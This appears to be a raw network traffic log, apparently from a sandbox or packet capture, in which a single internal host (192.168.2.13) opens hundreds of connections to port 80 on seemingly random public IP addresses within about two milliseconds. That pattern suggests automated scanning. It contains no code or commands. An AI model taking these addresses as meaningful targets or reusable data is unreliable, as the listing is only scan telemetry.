Mar 21, 2024 05:16:56.427297115 CET	45650	80	192.168.2.13	178.94.169.99
Mar 21, 2024 05:16:56.427309990 CET	45650	80	192.168.2.13	213.40.174.181
Mar 21, 2024 05:16:56.427320004 CET	45650	80	192.168.2.13	206.179.73.139
Mar 21, 2024 05:16:56.427320004 CET	45650	80	192.168.2.13	169.183.131.124
Mar 21, 2024 05:16:56.427321911 CET	45650	80	192.168.2.13	86.128.130.220
Mar 21, 2024 05:16:56.427335024 CET	45650	80	192.168.2.13	169.16.51.90
Mar 21, 2024 05:16:56.427342892 CET	45650	80	192.168.2.13	206.54.103.130
Mar 21, 2024 05:16:56.427345991 CET	45650	80	192.168.2.13	80.80.150.0
Mar 21, 2024 05:16:56.427355051 CET	45650	80	192.168.2.13	200.88.38.192
Mar 21, 2024 05:16:56.427361965 CET	45650	80	192.168.2.13	86.10.69.252
Mar 21, 2024 05:16:56.427362919 CET	45650	80	192.168.2.13	80.98.252.221
Mar 21, 2024 05:16:56.427369118 CET	45650	80	192.168.2.13	86.101.113.168
Mar 21, 2024 05:16:56.427369118 CET	45650	80	192.168.2.13	169.74.229.126
Mar 21, 2024 05:16:56.427390099 CET	45650	80	192.168.2.13	178.0.61.18
Mar 21, 2024 05:16:56.427392006 CET	45650	80	192.168.2.13	181.80.182.176
Mar 21, 2024 05:16:56.427392006 CET	45650	80	192.168.2.13	80.205.133.247
Mar 21, 2024 05:16:56.427407026 CET	45650	80	192.168.2.13	169.138.162.4
Mar 21, 2024 05:16:56.427424908 CET	45650	80	192.168.2.13	181.172.6.188
Mar 21, 2024 05:16:56.427427053 CET	45650	80	192.168.2.13	213.164.245.54
Mar 21, 2024 05:16:56.427445889 CET	45650	80	192.168.2.13	80.229.195.178
Mar 21, 2024 05:16:56.427445889 CET	45650	80	192.168.2.13	200.13.119.75
Mar 21, 2024 05:16:56.427449942 CET	45650	80	192.168.2.13	83.216.169.119
Mar 21, 2024 05:16:56.427449942 CET	45650	80	192.168.2.13	169.121.158.96
Mar 21, 2024 05:16:56.427462101 CET	45650	80	192.168.2.13	206.8.55.64
Mar 21, 2024 05:16:56.427462101 CET	45650	80	192.168.2.13	200.110.235.35
Mar 21, 2024 05:16:56.427463055 CET	45650	80	192.168.2.13	213.158.19.183
Mar 21, 2024 05:16:56.427463055 CET	45650	80	192.168.2.13	181.226.232.64
Mar 21, 2024 05:16:56.427464962 CET	45650	80	192.168.2.13	181.135.80.168
Mar 21, 2024 05:16:56.427478075 CET	45650	80	192.168.2.13	213.69.8.230
Mar 21, 2024 05:16:56.427478075 CET	45650	80	192.168.2.13	82.215.20.86
Mar 21, 2024 05:16:56.427484035 CET	45650	80	192.168.2.13	83.89.21.20
Mar 21, 2024 05:16:56.427493095 CET	45650	80	192.168.2.13	82.208.83.242
Mar 21, 2024 05:16:56.427498102 CET	45650	80	192.168.2.13	86.12.74.123
Mar 21, 2024 05:16:56.427503109 CET	45650	80	192.168.2.13	200.81.89.113
Mar 21, 2024 05:16:56.427519083 CET	45650	80	192.168.2.13	200.123.87.93
Mar 21, 2024 05:16:56.427526951 CET	45650	80	192.168.2.13	200.221.223.97
Mar 21, 2024 05:16:56.427531004 CET	45650	80	192.168.2.13	86.119.31.110
Mar 21, 2024 05:16:56.427531958 CET	45650	80	192.168.2.13	200.157.227.126
Mar 21, 2024 05:16:56.427536011 CET	45650	80	192.168.2.13	82.177.105.76
Mar 21, 2024 05:16:56.427545071 CET	45650	80	192.168.2.13	169.150.191.253
Mar 21, 2024 05:16:56.427545071 CET	45650	80	192.168.2.13	213.228.178.62
Mar 21, 2024 05:16:56.427550077 CET	45650	80	192.168.2.13	206.75.116.84
Mar 21, 2024 05:16:56.427555084 CET	45650	80	192.168.2.13	200.180.84.129
Mar 21, 2024 05:16:56.427558899 CET	45650	80	192.168.2.13	169.168.144.82
Mar 21, 2024 05:16:56.427572966 CET	45650	80	192.168.2.13	181.60.246.92
Mar 21, 2024 05:16:56.427576065 CET	45650	80	192.168.2.13	169.15.215.115
Mar 21, 2024 05:16:56.427583933 CET	45650	80	192.168.2.13	169.192.190.25
Mar 21, 2024 05:16:56.427592993 CET	45650	80	192.168.2.13	80.175.143.76
Mar 21, 2024 05:16:56.427615881 CET	45650	80	192.168.2.13	80.68.92.245
Mar 21, 2024 05:16:56.427615881 CET	45650	80	192.168.2.13	181.104.212.209
Mar 21, 2024 05:16:56.427618980 CET	45650	80	192.168.2.13	86.82.170.41
Mar 21, 2024 05:16:56.427633047 CET	45650	80	192.168.2.13	178.13.155.175
Mar 21, 2024 05:16:56.427633047 CET	45650	80	192.168.2.13	181.191.223.96
Mar 21, 2024 05:16:56.427633047 CET	45650	80	192.168.2.13	200.240.180.145
Mar 21, 2024 05:16:56.427637100 CET	45650	80	192.168.2.13	83.101.84.65
Mar 21, 2024 05:16:56.427638054 CET	45650	80	192.168.2.13	213.20.104.39
Mar 21, 2024 05:16:56.427639961 CET	45650	80	192.168.2.13	86.93.18.251
Mar 21, 2024 05:16:56.427653074 CET	45650	80	192.168.2.13	169.33.28.196
Mar 21, 2024 05:16:56.427669048 CET	45650	80	192.168.2.13	206.160.180.142
Mar 21, 2024 05:16:56.427671909 CET	45650	80	192.168.2.13	169.164.255.64
Mar 21, 2024 05:16:56.427687883 CET	45650	80	192.168.2.13	86.132.230.115
Mar 21, 2024 05:16:56.427687883 CET	45650	80	192.168.2.13	206.92.212.46
Mar 21, 2024 05:16:56.427699089 CET	45650	80	192.168.2.13	213.6.174.18
Mar 21, 2024 05:16:56.427704096 CET	45650	80	192.168.2.13	206.217.253.240
Mar 21, 2024 05:16:56.427706003 CET	45650	80	192.168.2.13	83.124.87.57
Mar 21, 2024 05:16:56.427731991 CET	45650	80	192.168.2.13	178.253.98.99
Mar 21, 2024 05:16:56.427731991 CET	45650	80	192.168.2.13	181.86.203.107
Mar 21, 2024 05:16:56.427731991 CET	45650	80	192.168.2.13	82.128.209.109
Mar 21, 2024 05:16:56.427738905 CET	45650	80	192.168.2.13	82.252.50.13
Mar 21, 2024 05:16:56.427745104 CET	45650	80	192.168.2.13	169.37.212.169
Mar 21, 2024 05:16:56.427745104 CET	45650	80	192.168.2.13	80.159.95.27
Mar 21, 2024 05:16:56.427757025 CET	45650	80	192.168.2.13	200.67.29.29
Mar 21, 2024 05:16:56.427757978 CET	45650	80	192.168.2.13	169.49.226.149
Mar 21, 2024 05:16:56.427764893 CET	45650	80	192.168.2.13	213.222.201.141
Mar 21, 2024 05:16:56.427778006 CET	45650	80	192.168.2.13	200.52.249.235
Mar 21, 2024 05:16:56.427783966 CET	45650	80	192.168.2.13	169.226.48.244
Mar 21, 2024 05:16:56.427788973 CET	45650	80	192.168.2.13	181.204.2.233
Mar 21, 2024 05:16:56.427788973 CET	45650	80	192.168.2.13	206.246.21.41
Mar 21, 2024 05:16:56.427788973 CET	45650	80	192.168.2.13	83.89.224.225
Mar 21, 2024 05:16:56.427791119 CET	45650	80	192.168.2.13	181.98.103.36
Mar 21, 2024 05:16:56.427813053 CET	45650	80	192.168.2.13	200.247.74.236
Mar 21, 2024 05:16:56.427813053 CET	45650	80	192.168.2.13	181.116.153.163
Mar 21, 2024 05:16:56.427814007 CET	45650	80	192.168.2.13	82.113.141.209
Mar 21, 2024 05:16:56.427834034 CET	45650	80	192.168.2.13	178.29.76.191
Mar 21, 2024 05:16:56.427838087 CET	45650	80	192.168.2.13	178.233.140.28
Mar 21, 2024 05:16:56.427838087 CET	45650	80	192.168.2.13	178.31.34.168
Mar 21, 2024 05:16:56.427845955 CET	45650	80	192.168.2.13	206.244.55.147
Mar 21, 2024 05:16:56.427864075 CET	45650	80	192.168.2.13	181.46.17.36
Mar 21, 2024 05:16:56.427864075 CET	45650	80	192.168.2.13	82.201.242.240
Mar 21, 2024 05:16:56.427885056 CET	45650	80	192.168.2.13	83.138.116.104
Mar 21, 2024 05:16:56.427885056 CET	45650	80	192.168.2.13	82.196.80.183
Mar 21, 2024 05:16:56.427885056 CET	45650	80	192.168.2.13	213.2.8.191
Mar 21, 2024 05:16:56.427895069 CET	45650	80	192.168.2.13	80.103.27.83
Mar 21, 2024 05:16:56.427903891 CET	45650	80	192.168.2.13	169.44.151.67
Mar 21, 2024 05:16:56.427916050 CET	45650	80	192.168.2.13	206.175.121.180
Mar 21, 2024 05:16:56.427922010 CET	45650	80	192.168.2.13	206.43.133.254
Mar 21, 2024 05:16:56.427922010 CET	45650	80	192.168.2.13	83.117.238.245
Mar 21, 2024 05:16:56.427925110 CET	45650	80	192.168.2.13	82.32.128.128
Mar 21, 2024 05:16:56.427928925 CET	45650	80	192.168.2.13	213.217.213.203
Mar 21, 2024 05:16:56.427942991 CET	45650	80	192.168.2.13	178.184.3.193
Mar 21, 2024 05:16:56.427948952 CET	45650	80	192.168.2.13	181.32.18.86
Mar 21, 2024 05:16:56.427962065 CET	45650	80	192.168.2.13	178.251.144.67
Mar 21, 2024 05:16:56.427964926 CET	45650	80	192.168.2.13	181.5.246.3
Mar 21, 2024 05:16:56.427973986 CET	45650	80	192.168.2.13	206.167.158.23
Mar 21, 2024 05:16:56.427973986 CET	45650	80	192.168.2.13	178.5.222.184
Mar 21, 2024 05:16:56.427973986 CET	45650	80	192.168.2.13	181.7.169.4
Mar 21, 2024 05:16:56.427974939 CET	45650	80	192.168.2.13	82.162.79.252
Mar 21, 2024 05:16:56.427973986 CET	45650	80	192.168.2.13	82.90.177.165
Mar 21, 2024 05:16:56.427974939 CET	45650	80	192.168.2.13	169.250.103.235
Mar 21, 2024 05:16:56.427973986 CET	45650	80	192.168.2.13	82.225.120.100
Mar 21, 2024 05:16:56.427973986 CET	45650	80	192.168.2.13	80.218.222.194
Mar 21, 2024 05:16:56.427984953 CET	45650	80	192.168.2.13	181.173.41.185
Mar 21, 2024 05:16:56.427988052 CET	45650	80	192.168.2.13	206.169.95.123
Mar 21, 2024 05:16:56.427995920 CET	45650	80	192.168.2.13	206.40.22.239
Mar 21, 2024 05:16:56.427999973 CET	45650	80	192.168.2.13	206.156.185.43
Mar 21, 2024 05:16:56.428003073 CET	45650	80	192.168.2.13	178.250.191.58
Mar 21, 2024 05:16:56.428033113 CET	45650	80	192.168.2.13	178.232.177.208
Mar 21, 2024 05:16:56.428033113 CET	45650	80	192.168.2.13	86.71.107.83
Mar 21, 2024 05:16:56.428035021 CET	45650	80	192.168.2.13	181.40.175.175
Mar 21, 2024 05:16:56.428036928 CET	45650	80	192.168.2.13	213.81.171.92
Mar 21, 2024 05:16:56.428037882 CET	45650	80	192.168.2.13	80.12.20.46
Mar 21, 2024 05:16:56.428041935 CET	45650	80	192.168.2.13	86.226.114.82
Mar 21, 2024 05:16:56.428042889 CET	45650	80	192.168.2.13	86.166.116.37
Mar 21, 2024 05:16:56.428056002 CET	45650	80	192.168.2.13	169.206.248.86
Mar 21, 2024 05:16:56.428056002 CET	45650	80	192.168.2.13	86.146.67.41
Mar 21, 2024 05:16:56.428067923 CET	45650	80	192.168.2.13	80.81.163.188
Mar 21, 2024 05:16:56.428071022 CET	45650	80	192.168.2.13	181.124.214.80
Mar 21, 2024 05:16:56.428077936 CET	45650	80	192.168.2.13	213.162.64.164
Mar 21, 2024 05:16:56.428095102 CET	45650	80	192.168.2.13	181.200.83.216
Mar 21, 2024 05:16:56.428097963 CET	45650	80	192.168.2.13	80.179.153.148
Mar 21, 2024 05:16:56.428101063 CET	45650	80	192.168.2.13	80.203.144.182
Mar 21, 2024 05:16:56.428114891 CET	45650	80	192.168.2.13	80.179.78.35
Mar 21, 2024 05:16:56.428114891 CET	45650	80	192.168.2.13	83.220.198.53
Mar 21, 2024 05:16:56.428116083 CET	45650	80	192.168.2.13	80.218.34.28
Mar 21, 2024 05:16:56.428114891 CET	45650	80	192.168.2.13	181.229.15.197
Mar 21, 2024 05:16:56.428114891 CET	45650	80	192.168.2.13	80.180.99.186
Mar 21, 2024 05:16:56.428123951 CET	45650	80	192.168.2.13	181.245.113.254
Mar 21, 2024 05:16:56.428123951 CET	45650	80	192.168.2.13	169.20.215.104
Mar 21, 2024 05:16:56.428128004 CET	45650	80	192.168.2.13	169.163.246.153
Mar 21, 2024 05:16:56.428143024 CET	45650	80	192.168.2.13	82.39.178.57
Mar 21, 2024 05:16:56.428144932 CET	45650	80	192.168.2.13	213.210.79.172
Mar 21, 2024 05:16:56.428144932 CET	45650	80	192.168.2.13	83.232.178.158
Mar 21, 2024 05:16:56.428147078 CET	45650	80	192.168.2.13	80.33.21.168
Mar 21, 2024 05:16:56.428150892 CET	45650	80	192.168.2.13	200.31.246.128
Mar 21, 2024 05:16:56.428153038 CET	45650	80	192.168.2.13	200.205.64.22
Mar 21, 2024 05:16:56.428164005 CET	45650	80	192.168.2.13	86.21.52.229
Mar 21, 2024 05:16:56.428181887 CET	45650	80	192.168.2.13	80.133.126.15
Mar 21, 2024 05:16:56.428188086 CET	45650	80	192.168.2.13	200.243.67.36
Mar 21, 2024 05:16:56.428200006 CET	45650	80	192.168.2.13	169.144.46.181
Mar 21, 2024 05:16:56.428212881 CET	45650	80	192.168.2.13	82.231.79.71
Mar 21, 2024 05:16:56.428224087 CET	45650	80	192.168.2.13	169.93.201.205
Mar 21, 2024 05:16:56.428225040 CET	45650	80	192.168.2.13	86.8.123.113
Mar 21, 2024 05:16:56.428231001 CET	45650	80	192.168.2.13	86.1.2.47
Mar 21, 2024 05:16:56.428236008 CET	45650	80	192.168.2.13	206.40.157.234
Mar 21, 2024 05:16:56.428236961 CET	45650	80	192.168.2.13	82.51.73.202
Mar 21, 2024 05:16:56.428241014 CET	45650	80	192.168.2.13	206.32.7.249
Mar 21, 2024 05:16:56.428245068 CET	45650	80	192.168.2.13	181.69.190.167
Mar 21, 2024 05:16:56.428245068 CET	45650	80	192.168.2.13	83.96.249.77
Mar 21, 2024 05:16:56.428248882 CET	45650	80	192.168.2.13	213.130.234.49
Mar 21, 2024 05:16:56.428248882 CET	45650	80	192.168.2.13	80.172.26.208
Mar 21, 2024 05:16:56.428262949 CET	45650	80	192.168.2.13	200.138.22.139
Mar 21, 2024 05:16:56.428263903 CET	45650	80	192.168.2.13	200.117.199.200
Mar 21, 2024 05:16:56.428267956 CET	45650	80	192.168.2.13	213.207.139.128
Mar 21, 2024 05:16:56.428283930 CET	45650	80	192.168.2.13	181.69.84.108
Mar 21, 2024 05:16:56.428289890 CET	45650	80	192.168.2.13	178.182.207.190
Mar 21, 2024 05:16:56.428292036 CET	45650	80	192.168.2.13	206.6.252.43
Mar 21, 2024 05:16:56.428292036 CET	45650	80	192.168.2.13	181.176.44.232
Mar 21, 2024 05:16:56.428292990 CET	45650	80	192.168.2.13	213.143.14.129
Mar 21, 2024 05:16:56.428314924 CET	45650	80	192.168.2.13	181.150.89.246
Mar 21, 2024 05:16:56.428317070 CET	45650	80	192.168.2.13	169.205.61.254
Mar 21, 2024 05:16:56.428333044 CET	45650	80	192.168.2.13	169.204.85.196
Mar 21, 2024 05:16:56.428340912 CET	45650	80	192.168.2.13	200.133.28.150
Mar 21, 2024 05:16:56.428343058 CET	45650	80	192.168.2.13	206.235.68.113
Mar 21, 2024 05:16:56.428343058 CET	45650	80	192.168.2.13	80.101.20.9
Mar 21, 2024 05:16:56.428344965 CET	45650	80	192.168.2.13	82.14.225.12
Mar 21, 2024 05:16:56.428356886 CET	45650	80	192.168.2.13	178.145.202.234
Mar 21, 2024 05:16:56.428366899 CET	45650	80	192.168.2.13	206.206.194.118
Mar 21, 2024 05:16:56.428366899 CET	45650	80	192.168.2.13	213.181.102.32
Mar 21, 2024 05:16:56.428366899 CET	45650	80	192.168.2.13	83.29.57.73
Mar 21, 2024 05:16:56.428376913 CET	45650	80	192.168.2.13	80.122.2.82
Mar 21, 2024 05:16:56.428389072 CET	45650	80	192.168.2.13	83.170.197.173
Mar 21, 2024 05:16:56.428390026 CET	45650	80	192.168.2.13	213.119.196.102
Mar 21, 2024 05:16:56.428399086 CET	45650	80	192.168.2.13	83.233.95.73
Mar 21, 2024 05:16:56.428399086 CET	45650	80	192.168.2.13	213.226.177.247
Mar 21, 2024 05:16:56.428400993 CET	45650	80	192.168.2.13	83.111.18.76
Mar 21, 2024 05:16:56.428402901 CET	45650	80	192.168.2.13	206.238.203.14
Mar 21, 2024 05:16:56.428402901 CET	45650	80	192.168.2.13	82.123.37.131
Mar 21, 2024 05:16:56.428416967 CET	45650	80	192.168.2.13	178.172.68.217
Mar 21, 2024 05:16:56.428421974 CET	45650	80	192.168.2.13	82.155.240.88
Mar 21, 2024 05:16:56.428426981 CET	45650	80	192.168.2.13	80.56.52.140
Mar 21, 2024 05:16:56.428431034 CET	45650	80	192.168.2.13	83.32.75.65
Mar 21, 2024 05:16:56.428438902 CET	45650	80	192.168.2.13	86.131.177.234
Mar 21, 2024 05:16:56.428445101 CET	45650	80	192.168.2.13	86.86.235.1
Mar 21, 2024 05:16:56.428472042 CET	45650	80	192.168.2.13	169.53.11.214
Mar 21, 2024 05:16:56.428472042 CET	45650	80	192.168.2.13	178.18.155.44
Mar 21, 2024 05:16:56.428472042 CET	45650	80	192.168.2.13	213.147.194.124
Mar 21, 2024 05:16:56.428488016 CET	45650	80	192.168.2.13	181.248.220.253
Mar 21, 2024 05:16:56.428488970 CET	45650	80	192.168.2.13	200.208.118.195
Mar 21, 2024 05:16:56.428493023 CET	45650	80	192.168.2.13	178.206.105.240
Mar 21, 2024 05:16:56.428508043 CET	45650	80	192.168.2.13	86.43.140.117
Mar 21, 2024 05:16:56.428508043 CET	45650	80	192.168.2.13	200.175.8.73
Mar 21, 2024 05:16:56.428508043 CET	45650	80	192.168.2.13	178.79.80.163
Mar 21, 2024 05:16:56.428518057 CET	45650	80	192.168.2.13	213.126.105.168
Mar 21, 2024 05:16:56.428525925 CET	45650	80	192.168.2.13	178.112.89.233
Mar 21, 2024 05:16:56.428529978 CET	45650	80	192.168.2.13	206.148.218.109
Mar 21, 2024 05:16:56.428535938 CET	45650	80	192.168.2.13	178.211.117.255
Mar 21, 2024 05:16:56.428535938 CET	45650	80	192.168.2.13	213.160.113.72
Mar 21, 2024 05:16:56.428570986 CET	45650	80	192.168.2.13	181.146.108.41
Mar 21, 2024 05:16:56.428570986 CET	45650	80	192.168.2.13	83.224.156.200
Mar 21, 2024 05:16:56.428570986 CET	45650	80	192.168.2.13	206.199.64.170
Mar 21, 2024 05:16:56.428570986 CET	45650	80	192.168.2.13	169.4.124.202
Mar 21, 2024 05:16:56.428582907 CET	45650	80	192.168.2.13	213.49.166.53
Mar 21, 2024 05:16:56.428586960 CET	45650	80	192.168.2.13	200.7.247.138
Mar 21, 2024 05:16:56.428591967 CET	45650	80	192.168.2.13	181.61.6.57
Mar 21, 2024 05:16:56.428599119 CET	45650	80	192.168.2.13	83.138.215.28
Mar 21, 2024 05:16:56.428611040 CET	45650	80	192.168.2.13	181.152.30.85
Mar 21, 2024 05:16:56.428615093 CET	45650	80	192.168.2.13	80.236.139.110
Mar 21, 2024 05:16:56.428621054 CET	45650	80	192.168.2.13	82.46.244.229
Mar 21, 2024 05:16:56.428621054 CET	45650	80	192.168.2.13	178.15.77.152
Mar 21, 2024 05:16:56.428627014 CET	45650	80	192.168.2.13	178.218.217.19
Mar 21, 2024 05:16:56.428630114 CET	45650	80	192.168.2.13	178.112.80.3
Mar 21, 2024 05:16:56.428641081 CET	45650	80	192.168.2.13	82.85.209.253
Mar 21, 2024 05:16:56.428647995 CET	45650	80	192.168.2.13	86.167.59.239
Mar 21, 2024 05:16:56.428647995 CET	45650	80	192.168.2.13	83.227.206.128
Mar 21, 2024 05:16:56.428653002 CET	45650	80	192.168.2.13	80.88.82.25
Mar 21, 2024 05:16:56.428658009 CET	45650	80	192.168.2.13	86.247.167.187
Mar 21, 2024 05:16:56.428666115 CET	45650	80	192.168.2.13	169.101.254.73
Mar 21, 2024 05:16:56.428675890 CET	45650	80	192.168.2.13	200.247.20.17
Mar 21, 2024 05:16:56.428675890 CET	45650	80	192.168.2.13	178.203.98.17
Mar 21, 2024 05:16:56.428674936 CET	45650	80	192.168.2.13	82.146.186.122
Mar 21, 2024 05:16:56.428674936 CET	45650	80	192.168.2.13	181.109.10.105
Mar 21, 2024 05:16:56.428693056 CET	45650	80	192.168.2.13	83.17.57.17
Mar 21, 2024 05:16:56.428693056 CET	45650	80	192.168.2.13	169.225.98.57
Mar 21, 2024 05:16:56.428699970 CET	45650	80	192.168.2.13	82.27.134.140
Mar 21, 2024 05:16:56.428705931 CET	45650	80	192.168.2.13	169.167.210.14
Mar 21, 2024 05:16:56.428705931 CET	45650	80	192.168.2.13	213.20.207.33
Mar 21, 2024 05:16:56.428724051 CET	45650	80	192.168.2.13	80.154.98.10
Mar 21, 2024 05:16:56.428724051 CET	45650	80	192.168.2.13	80.17.17.85
Mar 21, 2024 05:16:56.428749084 CET	45650	80	192.168.2.13	206.171.28.140
Mar 21, 2024 05:16:56.428750038 CET	45650	80	192.168.2.13	178.141.66.162
Mar 21, 2024 05:16:56.428749084 CET	45650	80	192.168.2.13	83.89.222.247
Mar 21, 2024 05:16:56.428757906 CET	45650	80	192.168.2.13	178.49.75.67
Mar 21, 2024 05:16:56.428788900 CET	45650	80	192.168.2.13	80.10.242.137
Mar 21, 2024 05:16:56.428791046 CET	45650	80	192.168.2.13	83.91.155.161
Mar 21, 2024 05:16:56.428798914 CET	45650	80	192.168.2.13	169.141.195.179
Mar 21, 2024 05:16:56.428802013 CET	45650	80	192.168.2.13	213.226.194.22
Mar 21, 2024 05:16:56.428802013 CET	45650	80	192.168.2.13	82.187.134.181
Mar 21, 2024 05:16:56.428802013 CET	45650	80	192.168.2.13	178.181.43.14
Mar 21, 2024 05:16:56.428806067 CET	45650	80	192.168.2.13	83.91.143.136
Mar 21, 2024 05:16:56.428806067 CET	45650	80	192.168.2.13	200.75.86.227
Mar 21, 2024 05:16:56.428808928 CET	45650	80	192.168.2.13	83.253.198.38
Mar 21, 2024 05:16:56.428822041 CET	45650	80	192.168.2.13	206.218.29.183
Mar 21, 2024 05:16:56.428860903 CET	45650	80	192.168.2.13	181.51.119.111
Mar 21, 2024 05:16:56.428864956 CET	45650	80	192.168.2.13	169.216.35.68
Mar 21, 2024 05:16:56.428864956 CET	45650	80	192.168.2.13	178.230.148.231
Mar 21, 2024 05:16:56.428864956 CET	45650	80	192.168.2.13	200.37.188.13
Mar 21, 2024 05:16:56.428864956 CET	45650	80	192.168.2.13	200.130.79.224
Mar 21, 2024 05:16:56.428873062 CET	45650	80	192.168.2.13	206.132.241.225
Mar 21, 2024 05:16:56.428864956 CET	45650	80	192.168.2.13	80.108.20.203
Mar 21, 2024 05:16:56.428873062 CET	45650	80	192.168.2.13	181.206.74.162
Mar 21, 2024 05:16:56.428873062 CET	45650	80	192.168.2.13	83.42.224.222
Mar 21, 2024 05:16:56.428908110 CET	45650	80	192.168.2.13	169.85.200.193
Mar 21, 2024 05:16:56.428911924 CET	45650	80	192.168.2.13	169.250.132.143
Mar 21, 2024 05:16:56.428911924 CET	45650	80	192.168.2.13	200.110.95.192
Mar 21, 2024 05:16:56.428911924 CET	45650	80	192.168.2.13	80.234.187.141
Mar 21, 2024 05:16:56.428930998 CET	45650	80	192.168.2.13	200.44.109.181
Mar 21, 2024 05:16:56.428945065 CET	45650	80	192.168.2.13	206.56.123.29
Mar 21, 2024 05:16:56.428945065 CET	45650	80	192.168.2.13	80.235.200.211
Mar 21, 2024 05:16:56.428967953 CET	45650	80	192.168.2.13	83.73.212.183
Mar 21, 2024 05:16:56.428967953 CET	45650	80	192.168.2.13	213.226.19.166
Mar 21, 2024 05:16:56.428993940 CET	45650	80	192.168.2.13	169.177.122.245
Mar 21, 2024 05:16:56.428997993 CET	45650	80	192.168.2.13	82.188.215.98
Mar 21, 2024 05:16:56.429013014 CET	45650	80	192.168.2.13	178.252.183.55
Mar 21, 2024 05:16:56.429014921 CET	45650	80	192.168.2.13	213.181.170.20
Mar 21, 2024 05:16:56.429014921 CET	45650	80	192.168.2.13	169.191.38.1
Mar 21, 2024 05:16:56.429016113 CET	45650	80	192.168.2.13	169.228.139.127
Mar 21, 2024 05:16:56.429023981 CET	45650	80	192.168.2.13	169.183.6.42
Mar 21, 2024 05:16:56.429029942 CET	45650	80	192.168.2.13	181.255.81.168
Mar 21, 2024 05:16:56.429029942 CET	45650	80	192.168.2.13	178.104.242.106
Mar 21, 2024 05:16:56.429034948 CET	45650	80	192.168.2.13	86.184.59.82
Mar 21, 2024 05:16:56.429034948 CET	45650	80	192.168.2.13	86.166.96.180
Mar 21, 2024 05:16:56.429037094 CET	45650	80	192.168.2.13	82.169.129.87
Mar 21, 2024 05:16:56.429037094 CET	45650	80	192.168.2.13	86.180.211.194
Mar 21, 2024 05:16:56.429037094 CET	45650	80	192.168.2.13	169.111.17.233
Mar 21, 2024 05:16:56.429037094 CET	45650	80	192.168.2.13	181.90.254.50
Mar 21, 2024 05:16:56.429037094 CET	45650	80	192.168.2.13	178.136.191.236
Mar 21, 2024 05:16:56.429037094 CET	45650	80	192.168.2.13	86.95.78.179
Mar 21, 2024 05:16:56.429044008 CET	45650	80	192.168.2.13	206.208.32.108
Mar 21, 2024 05:16:56.429047108 CET	45650	80	192.168.2.13	213.46.230.71
Mar 21, 2024 05:16:56.429065943 CET	45650	80	192.168.2.13	86.234.158.186
Mar 21, 2024 05:16:56.429065943 CET	45650	80	192.168.2.13	213.92.103.152
Mar 21, 2024 05:16:56.429081917 CET	45650	80	192.168.2.13	83.80.62.233
Mar 21, 2024 05:16:56.429085970 CET	45650	80	192.168.2.13	86.85.120.251
Mar 21, 2024 05:16:56.429086924 CET	45650	80	192.168.2.13	86.4.254.222
Mar 21, 2024 05:16:56.429090977 CET	45650	80	192.168.2.13	181.103.179.250
Mar 21, 2024 05:16:56.429111958 CET	45650	80	192.168.2.13	213.145.2.169
Mar 21, 2024 05:16:56.429111958 CET	45650	80	192.168.2.13	178.60.2.124
Mar 21, 2024 05:16:56.429115057 CET	45650	80	192.168.2.13	213.242.166.204
Mar 21, 2024 05:16:56.429111958 CET	45650	80	192.168.2.13	82.228.120.44
Mar 21, 2024 05:16:56.429130077 CET	45650	80	192.168.2.13	200.8.33.222
Mar 21, 2024 05:16:56.429150105 CET	45650	80	192.168.2.13	206.126.184.78
Mar 21, 2024 05:16:56.429155111 CET	45650	80	192.168.2.13	86.31.205.33
Mar 21, 2024 05:16:56.429157972 CET	45650	80	192.168.2.13	178.88.194.180
Mar 21, 2024 05:16:56.429174900 CET	45650	80	192.168.2.13	169.113.47.163
Mar 21, 2024 05:16:56.429174900 CET	45650	80	192.168.2.13	82.151.136.79
Mar 21, 2024 05:16:56.429177046 CET	45650	80	192.168.2.13	178.212.127.80
Mar 21, 2024 05:16:56.429194927 CET	45650	80	192.168.2.13	213.120.223.57
Mar 21, 2024 05:16:56.429203033 CET	45650	80	192.168.2.13	82.163.62.62
Mar 21, 2024 05:16:56.429203033 CET	45650	80	192.168.2.13	80.82.60.6
Mar 21, 2024 05:16:56.429203033 CET	45650	80	192.168.2.13	86.201.131.53
Mar 21, 2024 05:16:56.429217100 CET	45650	80	192.168.2.13	83.169.185.223
Mar 21, 2024 05:16:56.429224014 CET	45650	80	192.168.2.13	80.22.138.219
Mar 21, 2024 05:16:56.429229975 CET	45650	80	192.168.2.13	86.34.224.198
Mar 21, 2024 05:16:56.429229975 CET	45650	80	192.168.2.13	213.250.50.197
Mar 21, 2024 05:16:56.429229975 CET	45650	80	192.168.2.13	86.140.117.99
Mar 21, 2024 05:16:56.429234028 CET	45650	80	192.168.2.13	83.223.33.87
Mar 21, 2024 05:16:56.429234028 CET	45650	80	192.168.2.13	181.234.141.164
Mar 21, 2024 05:16:56.429245949 CET	45650	80	192.168.2.13	181.21.57.115
Mar 21, 2024 05:16:56.429254055 CET	45650	80	192.168.2.13	200.100.29.58
Mar 21, 2024 05:16:56.429256916 CET	45650	80	192.168.2.13	206.80.49.122
Mar 21, 2024 05:16:56.429261923 CET	45650	80	192.168.2.13	82.218.149.159
Mar 21, 2024 05:16:56.429270983 CET	45650	80	192.168.2.13	80.146.110.113
Mar 21, 2024 05:16:56.429279089 CET	45650	80	192.168.2.13	178.216.24.156
Mar 21, 2024 05:16:56.429280996 CET	45650	80	192.168.2.13	178.214.244.247
Mar 21, 2024 05:16:56.429281950 CET	45650	80	192.168.2.13	80.47.246.90
Mar 21, 2024 05:16:56.429281950 CET	45650	80	192.168.2.13	178.223.33.252
Mar 21, 2024 05:16:56.429313898 CET	45650	80	192.168.2.13	206.223.45.12
Mar 21, 2024 05:16:56.429318905 CET	45650	80	192.168.2.13	82.222.104.172
Mar 21, 2024 05:16:56.429318905 CET	45650	80	192.168.2.13	200.214.117.229
Mar 21, 2024 05:16:56.429321051 CET	45650	80	192.168.2.13	181.67.69.45
Mar 21, 2024 05:16:56.429327011 CET	45650	80	192.168.2.13	169.252.120.71
Mar 21, 2024 05:16:56.429331064 CET	45650	80	192.168.2.13	213.18.40.30
Mar 21, 2024 05:16:56.429337025 CET	45650	80	192.168.2.13	181.32.11.25
Mar 21, 2024 05:16:56.429339886 CET	45650	80	192.168.2.13	82.108.143.2
Mar 21, 2024 05:16:56.429339886 CET	45650	80	192.168.2.13	213.249.115.41
Mar 21, 2024 05:16:56.429347038 CET	45650	80	192.168.2.13	82.94.167.153
Mar 21, 2024 05:16:56.429347038 CET	45650	80	192.168.2.13	80.5.54.193
Mar 21, 2024 05:16:56.429351091 CET	45650	80	192.168.2.13	200.44.59.187
Mar 21, 2024 05:16:56.429368973 CET	45650	80	192.168.2.13	80.99.17.167
Mar 21, 2024 05:16:56.429377079 CET	45650	80	192.168.2.13	83.178.232.18
